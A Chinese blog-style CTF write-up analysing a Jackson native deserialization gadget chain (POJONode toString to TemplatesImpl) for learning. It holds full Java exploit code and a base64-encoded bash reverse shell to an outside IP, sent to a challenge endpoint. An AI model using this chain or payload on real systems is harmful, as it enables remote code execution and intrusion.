参考文章:https://xz.aliyun.com/t/12509?u_atoken=0f8fa2b10f046b73ed286030e1ee9f9e&u_asig=1a0c381017287414696367848e00f7
前言
Jackson的原生反序列化主要是为了触发任意getter方法调用链子,类似fastjson原生反序列化触发getter那样
getter触发流程
既然要调用任意getter方法,那我们就要触发getter方法的流程
Jackson触发getter是在ObjectMapper#writeValueAsString方法执行的时候
打个断点跟踪一下
这里说几个关键方法
先走到DefaultSerializerProvider#serializeValue方法
这里获取一个序列化器,我们传入了POJO对象,所以返回一个BeanSerializer
然后去到BeanSerializer#serialize方法
writeStartObject和writeEndObject就是分别在首尾写上’{‘和’}’
调用getter方法就在serializeFields方法里面
在serializeAsField方法里面这个地方调用了getter方法
POJONode
前面说的都是序列化的getter,和反序列化有什么关系呢,在Jackson的原生反序列化中,利用的是POJONode的toString方法来触发对应类对象的getter方法,我们先来分析一下
这里测得时候发现离谱的地方,测试出来Jackson应该是在2.10.x才把toString去掉改到父类去的,在2.9.x以及之前,POJONode自己本身是有toString方法的,而他的父类BaseJsonNode反而是没有实现toString的,这样就不能进行利用了
他POJONode本身是没有toString的,是到父类BaseJsonNode才有实现,继承关系如下
POJONode --> ValueNode --> BaseJsonNode
|
BaseJsonNode#toString
这里调用了一个InternalNodeMapper.nodeToString方法
欸是不是看到了一个熟悉的东西,writeValueAsString,这里也就是触发getter方法的地方,也就是漏洞触发点
所以调用链就是这样的
BaseJsonNode#toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString
|
能调用getter方法就可以打链子了,比如打TemplatesImpl
漏洞利用
触发toString自然就选择我们常用的BadAttributeValueExpException了
链子:
BadAttributeValueExpException#readObject -> POJONode#toString -> BaseJsonNode#toString -> InternalNodeMapper#nodeToString -> ObjectWriter.writeValueAsString
|
exp
package org.clown.attack;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class attack_usual { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "clown"); setValue(templates, "_tfactory", null);
POJONode jsonNodes = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject();
} }
|
这是会发现我们在序列化的时候出错了
根据错误先去看ObjectOuptputStream#writeObject0方法
可以看到这里会判断序列化类是否实现了writeReplace方法,实现了则会进行调用,而在BaseJsonNode中实现了该方法,在该方法调用的时候抛出了异常
文章中直接将该方法注释或删去就正常了,我勒个简单粗暴啊😢
这里需要重写一下jar包,之前没写过顺便记录一下
1.找到你所要重写的方法的所在类,查看其中的路径;
2.在我们的src目录下新建一个同包名同类名的类;
3.将jar包中的重写方法所在类的所有代码复制到我们新建的同包名同类名的类中;
4.在我们新建的同包名同类名的类中修改对应的方法中的代码
原理: 编译输出的时候会优先使用我们src下面的类,而不是优先使用Jar包里面的类,这样就达到了覆盖jar包方法的目的
|
参考文章:https://blog.csdn.net/qq_41512902/article/details/125558275
最后改成这样就行了
再去打一遍exp试试
现在就能正常弹计算器了
题目
这里就那阿里云ctf的一道题来作为例子
题目附件:https://github.com/Drun1baby/CTF-Repo-2023/tree/main/2023/%E9%98%BF%E9%87%8C%E4%BA%91CTF/web/bypassit1
反编译下jar包
就几行代码,直接读取数据反序列化
看了一下依赖就只有springboot,那肯定是打jackson了,springboot依赖默认用jackson,而且都放到这当例题了
那就可以用前面的exp打一个Jackson原生反序列化,这里还要考虑一个问题就是payload的发送,因为这里没有base64解码直接copy过去会出错,我这里直接用java发请求过去
package org.clown.attack;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.net.HttpURLConnection; import java.net.URL;
public class attack_usual { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjEuMjguMjQ3Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "clown"); setValue(templates, "_tfactory", null);
POJONode jsonNodes = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val, jsonNodes); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(val);
byte[] byteArray = barr.toByteArray(); System.out.println(byteArray);
URL url = new URL("http://localhost:8080/bypassit"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/octet-stream"); conn.getOutputStream().write(byteArray); conn.getOutputStream().flush();
int responseCode = conn.getResponseCode(); System.out.println("Response Code: " + responseCode);
} }
|
记得要删除writeReplace方法
反弹shell过来即可
或者直接序列化存入文件,然后用python发请求
import requests url="" data=open("ser.bin","rb") res=requests.post(url,data=data)
|
其他链子
比如Templates被ban的情况下用SignObject打二次反序列化,可以看这篇文章:https://xz.aliyun.com/t/12966?time__1311=GqGxuD9QLxlr%3DiQGkDRQI23Ezabx&u_atoken=8440f6b703af0eb6335929f9798f602f&u_asig=ac11000117287520205018812e007f#toc-34
还有其余的就在做题时遇到再学吧